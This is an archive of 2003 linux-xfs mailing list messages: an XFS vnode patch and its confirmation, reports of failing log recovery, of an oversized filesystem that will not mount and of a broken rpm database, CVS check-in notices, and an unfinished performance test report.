Steve. I'm guessing that this code hasn't hit CVS > yet, as I can still reproduce it with a current CVS @ 9/21/03 ~ 17:30 > PST Sounds like this is a known issue, so I'll just go back to the xfs > code from -mm2 for now. > The fix is below, I'd be interested in whether or not you still have problems after applying this. thanks. -- Nathan --- /usr/tmp/TmpDir.2990917-0/linux/fs/xfs/linux/xfs_vnode.c_1.117 Mon Sep 22 11:10:21 2003 +++ linux/fs/xfs/linux/xfs_vnode.c Fri Sep 19 13:17:14 2003 @@ -200,7 +200,7 @@ vn_trace_entry(vp, "vn_revalidate", (inst_t *)__return_address); ASSERT(vp->v_fbhv != NULL); - va.va_mask = XFS_AT_STAT; + va.va_mask = XFS_AT_STAT|XFS_AT_GENCOUNT; VOP_GETATTR(vp, &va, 0, NULL, error); if (!error) { inode = LINVFS_GET_IP(vp); From owner-linux-xfs@oss.sgi.com Sun Sep 21 18:28:39 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 18:29:03 -0700 (PDT) Received: from waltsathlon.localhost.net (12-229-144-126.client.attbi.com [12.229.144.126]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1ScFx026038 for ; Sun, 21 Sep 2003 18:28:39 -0700 Received: from comcast.net (waltsathlon.localhost.net [192.168.0.1]) by waltsathlon.localhost.net (Postfix) with ESMTP id 2965E10039C; Sun, 21 Sep 2003 18:28:34 -0700 (PDT) Message-ID: <3F6E5042.40502@comcast.net> Date: Sun, 21 Sep 2003 18:28:34 -0700 From: Walt H User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030914 X-Accept-Language: en-us MIME-Version: 1.0 To: Nathan Scott Cc: Linux Kernel , Linux XFS Mailing List Subject: Re: 2.6.0-test5-mm3 & XFS FS Corruption (or not?) References: <3F6DC819.8060003@comcast.net> <3F6DE929.4040904@comcast.net> <1064173697.2285.4.camel@laptop.americas.sgi.com> <3F6E49D2.8060901@comcast.net> <20030922011241.GA1043@frodo> In-Reply-To: <20030922011241.GA1043@frodo> X-Enigmail-Version: 0.76.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 464 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: waltabbyh@comcast.net Precedence: bulk X-list: linux-xfs Content-Length: 517 Lines: 17 Nathan Scott wrote: > The fix is below, I'd be interested in whether or not you still have > problems after applying this. > > thanks. > That appears to have cleared it up. I tried the tests I discovered in my earlier e-mail of creating bogus lost+found etc... and couldn't get the filesystem to fail. Mind you, I only ran an rsync over a 2GB filesystem, but previously the problem was exhibited 100% of the time. I'll bang on this for a while. Hopefully you don't hear back from me right away :) Thanks, -Walt From owner-linux-xfs@oss.sgi.com Sun Sep 21 23:11:51 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 23:12:07 -0700 (PDT) Received: from phear.lwz.org (postfix@ool-182c4041.dyn.optonline.net [24.44.64.65]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M6BeFx005013 for ; Sun, 21 Sep 2003 23:11:50 -0700 Received: by phear.lwz.org (Postfix, from userid 501) id 3449ED3CF; Mon, 22 Sep 2003 02:11:39 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by phear.lwz.org (Postfix) with ESMTP id 2A5533ED0 for ; Mon, 22 Sep 2003 02:11:39 -0400 (EDT) Date: Mon, 22 Sep 2003 02:11:39 -0400 (EDT) From: Cory Visi To: Subject: XFS recovery issues Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 465 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: merlin@phear.lwz.org Precedence: bulk X-list: linux-xfs Content-Length: 1576 Lines: 43 I recently patched up my own custom 2.4.22 kernel with the 2.4.22 XFS split patches. I am also using the 2.4.23-pre4 patch. To do a filesystem test, I basically just shut the machine off and see if XFS recovers. Which I did. Instead of the system booting up, I get this: XFS mounting filesystem sd(8,1) Starting XFS recovery on filesystem: sd(8,1) (dev: 8/1) XFS: xlog_recover_process_data: bad clientid XFS: log mount/recovery failed XFS: log mount failed Kernel panic: VFS: Unable to mount root fs on 08:01 That's maybe not so crazy, but check this out. If I reboot on a boot CD (I've been using Gentoo Live CD which uses kernel 2.4.21) and try to mount the same partition I get: # mount -t xfs /dev/sda1 /mnt/test XFS mounting filesystem sd(8,1) Starting XFS recovery on filesystem: sd(8,1) (dev: 8/1) Ending XFS recovery on filesystem: sd(8,1) (dev: 8/1) This suggests that the kernel is the problem. Or am I assuming wrong? I have tried this with all my partitions, /var, /tmp, and /home. They are all XFS and will not mount using my own kernel, but they will mount using the boot CD kernel. After mounting the partitions on the boot CD to replay the log, I can then boot up perfectly on my own kernel. Thinking that the 2.4.22 split patches might be unstable (no offense), I tried a combination of patches using the split patches kernel, acl, and dmapi, with the XFS 1.3 release core files (making the modification in xfs_lrw.c for 2.4.22 though). Unfortunately I get the same exact problems. Any suggestions? Thank you, Cory Visi From owner-linux-xfs@oss.sgi.com Sun Sep 21 23:43:53 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 23:44:07 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M6hrFx006449 for ; Sun, 21 Sep 2003 23:43:53 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8M4kkOO020822 for ; Sun, 21 Sep 2003 21:46:47 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8M6hiL6016322; Mon, 22 Sep 2003 16:43:44 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8M6hij6016321; Mon, 22 Sep 2003 16:43:44 +1000 Date: Mon, 22 Sep 2003 16:43:44 +1000 From: Nathan Scott Message-Id: <200309220643.h8M6hij6016321@bruce.melbourne.sgi.com> Subject: TAKE 901803 - X-archive-position: 466 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 391 Lines: 13 Change XFS writepage code so that we mark a page uptodate if all of its buffers are uptodate, and we are not doing a partial page write. Date: Sun Sep 21 23:41:26 PDT 2003 Workarea: bruce.melbourne.sgi.com:/build1/nathans/clean24 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158720a linux/fs/xfs/linux/xfs_aops.c - 1.48 From owner-linux-xfs@oss.sgi.com Sun Sep 21 23:59:07 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 23:59:11 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M6x6Fx007336 for ; Sun, 21 Sep 2003 23:59:07 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8M520OO021997 for ; Sun, 21 Sep 2003 22:02:00 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8M6x41V001488 for ; Mon, 22 Sep 2003 16:59:04 +1000 Received: (from fsgqa@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8M6x4H7001487 for linux-xfs@oss.sgi.com; Mon, 22 Sep 2003 16:59:04 +1000 Date: Mon, 22 Sep 2003 16:59:04 +1000 From: FSG QA Message-Id: <200309220659.h8M6x4H7001487@bruce.melbourne.sgi.com> Subject: TAKE - xfstests X-archive-position: 467 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: fsgqa@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 505 Lines: 17 Update xfstests control scripts to allow multiple kernel versions and multiple architectures to be more easily supported. Gets us up and running with multiple nightly runs, one set for 2.4 and one for 2.6. -- nathans. Date: Sun Sep 21 23:57:28 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:158721a cmd/xfstests/common.config - 1.38 cmd/xfstests/tools/auto-qa - 1.44 From owner-linux-xfs@oss.sgi.com Mon Sep 22 00:53:35 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 00:53:42 -0700 (PDT) Received: from hermod.acsalaska.net (hermod.acsalaska.net [209.112.155.45]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M7rDFx012513 for ; Mon, 22 Sep 2003 00:53:34 -0700 Received: from erbenson.alaska.net (106-pm14.nwc.alaska.net [209.112.141.106]) by hermod.acsalaska.net (8.12.10/8.12.10) with ESMTP id h8M7rBLX045113 for ; Sun, 21 Sep 2003 23:53:11 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 8AAF939E9 for ; Sun, 21 Sep 2003 23:53:09 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 2BFF140FF35; Sun, 21 Sep 2003 23:53:10 -0800 (AKDT) Date: Sun, 21 Sep 2003 23:53:10 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: XFS recovery issues Message-ID: <20030922075310.GB19483@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="E39vaYmALEf/7YXx" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-ACS-Spam-Status: no X-ACS-Scanned-By: MD 2.37; SA 2.55; spamdefang 1.58 X-archive-position: 468 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs Content-Length: 1404 Lines: 45 --E39vaYmALEf/7YXx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 22, 2003 at 02:11:39AM -0400, Cory Visi wrote: > I recently patched up my own custom 2.4.22 kernel with the 2.4.22 XFS > split patches. I am also using the 2.4.23-pre4 patch. >=20 > To do a filesystem test, I basically just shut the machine off and > see if XFS recovers. Which I did. Instead of the system booting up, I get > this: >=20 > > XFS mounting filesystem sd(8,1) > Starting XFS recovery on filesystem: sd(8,1) (dev: 8/1) > XFS: xlog_recover_process_data: bad clientid > XFS: log mount/recovery failed > XFS: log mount failed > Kernel panic: VFS: Unable to mount root fs on 08:01 i recently had several power failures, and my UPS batteries failed, and as a result i had four 2.4.22 systems lose power, all recovered perfectly fine (several times). I think there must be something else going on with your setup. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --E39vaYmALEf/7YXx Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9uqmUACgkQJKx7GixEevxlEwCfUVnaXvxEkU1qdJtpJLmMfLr/ i3wAnRaJdbt19EEdh7O/OukJYIkC/7/5 =MQHm -----END PGP SIGNATURE----- --E39vaYmALEf/7YXx-- From owner-linux-xfs@oss.sgi.com Mon Sep 22 01:19:50 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 01:20:47 -0700 (PDT) Received: from electre.pasteur.fr (electre.pasteur.fr [157.99.64.120]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M8JmFx013684 for ; Mon, 22 Sep 2003 01:19:49 -0700 Received: from xiii.bis.pasteur.fr (xiii.bis.pasteur.fr [157.99.90.14]) by electre.pasteur.fr (8.12.9/8.12.9) with ESMTP id h8M8JklQ283689 for ; Mon, 22 Sep 2003 10:19:46 +0200 (CEST) Received: (from tru@localhost) by xiii.bis.pasteur.fr (8.11.6/8.11.6) id h8M8Jkx19762 for linux-xfs@oss.sgi.com; Mon, 22 Sep 2003 10:19:46 +0200 Date: Mon, 22 Sep 2003 10:19:46 +0200 From: Tru Huynh To: "linux-xfs@oss.sgi.com" Subject: CVS-2.4.22: File system is too large to be mounted on this system Message-ID: <20030922101946.A19731@xiii.bis.pasteur.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-archive-position: 469 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tru@pasteur.fr Precedence: bulk X-list: linux-xfs Content-Length: 3378 Lines: 90 Hello, I have run into this problem with le cvs version from 2003/09/21 but not from the 1.3 released (rebuild on RedHat 7.3). YMMV, but you don't want find that out on a production machine ;) Thanks for this great FS, Tru background: I have an external IDE-SCSI attachement with 8x 250GB HDs in a RAID5 array. Kernel and XFS tools from cvs as of 2003/09/21 on a RedHat 7.3 based athlon machine. ** not working on 2.4.22-xfs_cvs20030921 ** [tru@ortiz ~]$ uname -r 2.4.22-xfs_cvs20030921 [tru@ortiz ~]$ sudo fdisk -l /dev/sda Disk /dev/sda: 255 heads, 63 sectors, 212805 cylinders Units = cylinders of 16065 * 512 bytes Device Boot Start End Blocks Id System /dev/sda1 1 200000 1606499968+ 83 Linux [tru@ortiz ~]$ which mkfs.xfs /sbin/mkfs.xfs [tru@ortiz ~]$ rpm -qf /sbin/mkfs.xfs xfsprogs-2.5.8-0 [tru@ortiz ~]$ /sbin/mkfs.xfs -V mkfs.xfs version 2.5.8 [tru@ortiz ~]$ sudo /sbin/mkfs.xfs -f /dev/sda1 meta-data=/dev/sda1 isize=256 agcount=384, agsize=1048576 blks = sectsz=512 data = bsize=4096 blocks=401624992, imaxpct=25 = sunit=0 swidth=0 blks, unwritten=1 naming =version 2 bsize=4096 log =internal log bsize=4096 blocks=32768, version=1 = sectsz=512 sunit=0 blks realtime =none extsz=65536 blocks=0, rtextents=0 But when I try to mount the filesystem I get: [tru@ortiz ~]$ sudo mount /dev/sda1 /br1600b mount: wrong fs type, bad option, bad superblock on /dev/sda1, or too many mounted file systems (aren't you trying to mount an extended partition, instead of some logical partition inside?) And in the /var/log/messages: Sep 21 23:37:17 ortiz kernel: XFS: File system is too large to be mounted on this system. Sep 21 23:37:17 ortiz kernel: XFS: SB validate failed + When I specify 102.400 cylinders instead of 200.000 or 212.805 there is no problem. + When I use mke2fs.ext2 there is no pb whatever the filesystem size. ** fine on 2.4.20-19.9.XFS1.3.0 ** Rebuild from the .src.rpm from SGI ftp site [tru@ortiz ~]$ uname -r 2.4.20-19.9.XFS1.3.0 [tru@ortiz ~]$ xfs_info /br1600b/ meta-data=/br1600b isize=256 agcount=384, agsize=1048576 blks = sectsz=512 data = bsize=4096 blocks=401624992, imaxpct=25 = sunit=0 swidth=0 blks, unwritten=1 naming =version 2 bsize=4096 log =internal bsize=4096 blocks=32768, version=1 = sectsz=512 sunit=0 blks realtime =none extsz=65536 blocks=0, rtextents=0 [tru@ortiz ~]$ df Filesystem Type 1k-blocks Used Available Use% Mounted on /dev/md1 ext3 4127040 3263888 653508 84% / /dev/md0 ext3 124323 18429 99475 16% /boot none tmpfs 386208 0 386208 0% /dev/shm /dev/md3 ext3 12922456 32828 12233200 1% /work /dev/sda1 xfs 1606368896 6160 1606362736 1% /br1600b -- Dr Tru Huynh | http://www.pasteur.fr/recherche/unites/Binfs/ mailto:tru@pasteur.fr | tel/fax +33 1 45 68 87 37/19 Institut Pasteur, 25-28 rue du Docteur Roux, 75724 Paris CEDEX 15 France From owner-linux-xfs@oss.sgi.com Mon Sep 22 05:41:57 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 05:42:18 -0700 (PDT) Received: from phear.lwz.org (postfix@ool-182c4041.dyn.optonline.net [24.44.64.65]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MCfvFx005562 for ; Mon, 22 Sep 2003 05:41:57 -0700 Received: by phear.lwz.org (Postfix, from userid 501) id 663AFD3CF; Mon, 22 Sep 2003 08:41:56 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by phear.lwz.org (Postfix) with ESMTP id 5DF033ED0 for ; Mon, 22 Sep 2003 08:41:56 -0400 (EDT) Date: Mon, 22 Sep 2003 08:41:56 -0400 (EDT) From: Cory Visi To: Subject: Re: XFS recovery issues Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 470 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: merlin@phear.lwz.org Precedence: bulk X-list: linux-xfs Content-Length: 1138 Lines: 30 > > I recently patched up my own custom 2.4.22 kernel with the 2.4.22 XFS > > split patches. I am also using the 2.4.23-pre4 patch. > > > > To do a filesystem test, I basically just shut the machine off and > > see if XFS recovers. Which I did. Instead of the system booting up, I get > > this: > > > > > > XFS mounting filesystem sd(8,1) > > Starting XFS recovery on filesystem: sd(8,1) (dev: 8/1) > > XFS: xlog_recover_process_data: bad clientid > > XFS: log mount/recovery failed > > XFS: log mount failed > > Kernel panic: VFS: Unable to mount root fs on 08:01 > > i recently had several power failures, and my UPS batteries failed, > and as a result i had four 2.4.22 systems lose power, all recovered > perfectly fine (several times). I think there must be something else > going on with your setup. Ok, assuming this is the case, what kinds of things can cause a log recovery to fail? Am I mounting it wrong in the bootloader? I'm telling the kernel to mount read-only. Am I mounting with the wrong mount options? Any help would be appreciated. Also, please CC me on replies. Thank you, Cory Visi From owner-linux-xfs@oss.sgi.com Mon Sep 22 05:48:43 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 05:49:00 -0700 (PDT) Received: from linux-sxs.org (d60-65-142-166.col.wideopenwest.com [65.60.166.142]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MCmgFx006201 for ; Mon, 22 Sep 2003 05:48:43 -0700 Received: from linux-sxs.org (localhost [127.0.0.1]) by linux-sxs.org (8.12.10/8.12.10) with ESMTP id h8MCmahX007882; Mon, 22 Sep 2003 08:48:36 -0400 Received: from localhost (netllama@localhost) by linux-sxs.org (8.12.10/8.12.10/Submit) with ESMTP id h8MCmaAO010486; Mon, 22 Sep 2003 08:48:36 -0400 Date: Mon, 22 Sep 2003 08:48:36 -0400 (EDT) From: Net Llama! To: Cory Visi cc: linux-xfs@oss.sgi.com Subject: Re: XFS recovery issues In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: OK, scanned by File::Scan,ClamAV X-Scanned-By: MIMEDefang 2.37 X-archive-position: 471 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: netllama@linux-sxs.org Precedence: bulk X-list: linux-xfs Content-Length: 1398 Lines: 34 On Mon, 22 Sep 2003, Cory Visi wrote: > > > I recently patched up my own custom 2.4.22 kernel with the 2.4.22 XFS > > > split patches. I am also using the 2.4.23-pre4 patch. > > > > > > To do a filesystem test, I basically just shut the machine off and > > > see if XFS recovers. Which I did. Instead of the system booting up, I get > > > this: > > > > > > > > > XFS mounting filesystem sd(8,1) > > > Starting XFS recovery on filesystem: sd(8,1) (dev: 8/1) > > > XFS: xlog_recover_process_data: bad clientid > > > XFS: log mount/recovery failed > > > XFS: log mount failed > > > Kernel panic: VFS: Unable to mount root fs on 08:01 > > > > i recently had several power failures, and my UPS batteries failed, > > and as a result i had four 2.4.22 systems lose power, all recovered > > perfectly fine (several times). I think there must be something else > > going on with your setup. > > Ok, assuming this is the case, what kinds of things can cause a log > recovery to fail? Am I mounting it wrong in the bootloader? I'm > telling the kernel to mount read-only. Am I mounting with the wrong mount > options? Any help would be appreciated. Are you running the latest release of xfsprogs? -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Lonni J Friedman netllama@linux-sxs.org Linux Step-by-step & TyGeMo http://netllama.ipfox.com From owner-linux-xfs@oss.sgi.com Mon Sep 22 06:06:05 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 06:06:32 -0700 (PDT) Received: from nc3a.nato.int (ozone.nc3a.nato.int [195.169.116.7]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MD63Fx007230 for ; Mon, 22 Sep 2003 06:06:05 -0700 Received: from nc3a.nato.int ([195.169.116.176]) by nc3a.nato.int (8.12.10/8.9.0) with ESMTP id h8MD5tAr001532 for ; Mon, 22 Sep 2003 15:05:56 +0200 (MEST) Message-ID: <3F6EF3DF.7090107@nc3a.nato.int> Date: Mon, 22 Sep 2003 15:06:39 +0200 From: Rob Dijkshoorn User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: installer breaks rpm db Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 472 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Rob.Dijkshoorn@nc3a.nato.int Precedence: bulk X-list: linux-xfs Content-Length: 493 Lines: 16 Hi all, Apparently kernel 2.4.20-19.9 with XFS (from ftp://oss.sgi.com/projects/xfs/download/Release-1.3/kernel_rpms/RedHat9/i686/) breaks the rpm or the rpm database. Installing the kernel goes fine, but after the reboot, I get this message when i try to do anything with rpm. rpmdb: write: 0xBFFFBBE0, 8192: Invalid Argument error: db4 error(22) from dbenv->open: Invalid Argument error: cannot open Packages index using db3 - Invalid Argument(22) Any ideas? Regards, Rob Dijkshoorn From owner-linux-xfs@oss.sgi.com Mon Sep 22 06:10:39 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 06:10:56 -0700 (PDT) Received: from linux-sxs.org (d60-65-142-166.col.wideopenwest.com [65.60.166.142]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MDAcFx007821 for ; Mon, 22 Sep 2003 06:10:39 -0700 Received: from linux-sxs.org (localhost [127.0.0.1]) by linux-sxs.org (8.12.10/8.12.10) with ESMTP id h8MDAWhX019235; Mon, 22 Sep 2003 09:10:32 -0400 Received: from localhost (netllama@localhost) by linux-sxs.org (8.12.10/8.12.10/Submit) with ESMTP id h8MDAWb6030809; Mon, 22 Sep 2003 09:10:32 -0400 Date: Mon, 22 Sep 2003 09:10:32 -0400 (EDT) From: Net Llama! To: Rob Dijkshoorn cc: linux-xfs@oss.sgi.com Subject: Re: installer breaks rpm db In-Reply-To: <3F6EF3DF.7090107@nc3a.nato.int> Message-ID: References: <3F6EF3DF.7090107@nc3a.nato.int> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: OK, scanned by File::Scan,ClamAV X-Scanned-By: MIMEDefang 2.37 X-archive-position: 473 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: netllama@linux-sxs.org Precedence: bulk X-list: linux-xfs Content-Length: 413 Lines: 13 On Mon, 22 Sep 2003, Rob Dijkshoorn wrote: > Hi all, > > Apparently kernel 2.4.20-19.9 with XFS (from Installing it on what?? More than likely, the kernel isn't breaking anything. Its the lack of nptl support that is breaking it. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Lonni J Friedman netllama@linux-sxs.org Linux Step-by-step & TyGeMo http://netllama.ipfox.com From owner-linux-xfs@oss.sgi.com Mon Sep 22 06:22:19 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 06:22:43 -0700 (PDT) Received: from provone.provsol.net (provone.provsol.net [66.83.239.66]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MDMIFx008539 for ; Mon, 22 Sep 2003 06:22:18 -0700 Received: from serria.provsol.int (serria.provsol.int [192.168.20.22]) by provone.provsol.net (Postfix) with ESMTP id B4FCC2042DD for ; Mon, 22 Sep 2003 08:22:17 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by serria.provsol.int (Postfix) with ESMTP id 95BBCA019C4 for ; Mon, 22 Sep 2003 08:22:17 -0500 (CDT) Received: from cosby.provsol.int (cosby.provsol.int [192.168.20.35]) by serria.provsol.int (Postfix) with ESMTP id 48FCCA019C3 for ; Mon, 22 Sep 2003 08:22:17 -0500 (CDT) Subject: Re: installer breaks rpm db From: "Vernon A. Fort" To: linux-xfs@oss.sgi.com In-Reply-To: <3F6EF3DF.7090107@nc3a.nato.int> References: <3F6EF3DF.7090107@nc3a.nato.int> Content-Type: text/plain Organization: Provident Solutions, LLC Message-Id: <1064236927.1305.8.camel@cosby> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) Date: 22 Sep 2003 08:22:08 -0500 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS snapshot-20020300 X-archive-position: 474 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: vfort@provident-solutions.com Precedence: bulk X-list: linux-xfs Content-Length: 973 Lines: 38 Try the following: LD_ASSUME_KERNEL=2.2.5 rpm {options} .... If this works, you need to grab the latest rpm-4.2 packages from ftp.rpm.org. Use the LD_ASSUME_KERNEL=2.2.5 to get the packages updated and then to a rpm --rebuilddb once the updates are installed. This is the only way I could make this work. There were mutiple posts on google concerning this. Hope this helps Andy On Mon, 2003-09-22 at 08:06, Rob Dijkshoorn wrote: > Hi all, > > Apparently kernel 2.4.20-19.9 with XFS (from > ftp://oss.sgi.com/projects/xfs/download/Release-1.3/kernel_rpms/RedHat9/i686/) > breaks the rpm or the rpm database. Installing the kernel goes fine, but > after the reboot, I get this message when i try to do anything with rpm. > > rpmdb: write: 0xBFFFBBE0, 8192: Invalid Argument > error: db4 error(22) from dbenv->open: Invalid Argument > error: cannot open Packages index using db3 - Invalid Argument(22) > > Any ideas? > > Regards, > Rob Dijkshoorn > > > From owner-linux-xfs@oss.sgi.com Mon Sep 22 06:56:08 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 06:56:20 -0700 (PDT) Received: from mail.vcc.de (mail.vcc.de [217.111.2.122]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MDu7Fx009977 for ; Mon, 22 Sep 2003 06:56:08 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.vcc.de (Postfix) with ESMTP id 7B0821620F4 for ; Mon, 22 Sep 2003 15:56:04 +0200 (CEST) Received: from opticalart.de (wolverine.vcc.de [217.111.2.200]) by mail.vcc.de (Postfix) with ESMTP id 019FF1620F3 for ; Mon, 22 Sep 2003 15:56:04 +0200 (CEST) Message-ID: <3F6EFF6E.9040005@opticalart.de> Date: Mon, 22 Sep 2003 15:55:58 +0200 From: Frank Hellmann Organization: Optical Art Film- und Special-Effects GmbH User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030512 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Read performance issues with 2.6.0test5? X-Enigmail-Version: 0.71.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AmavisD using H+BEDV AntiVir/X X-archive-position: 476 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: frank@opticalart.de Precedence: bulk X-list: linux-xfs Content-Length: 1459 Lines: 40 Hi! I am currently trying out kernel 2.6.0test5.1.36 (the one from the Redhat site). After patching in the latest QLogic FibreChannel drivers (8.0.0.4) and running performance tests I was wondering about the results. The machine consists of two dual channel PCI-X QLogic FC Controllers and 4 Infortrend diskarrays with ~2TB each. The arrays are hardpartitioned (inside the arrays) to 512GB chunks and I am currently striping them together via /dev/md0 with 2TB. Kernel 2.6.0test5.1.36custom: Writing (time -p dd if=/dev/zero of=/xine1/zeros bs=1M count=4K) Real: 11.00 User: 0.02 Sys: 10.60 Reading (time -p dd if=/xine1/zeros of=/dev/null bs=1M count=4K) 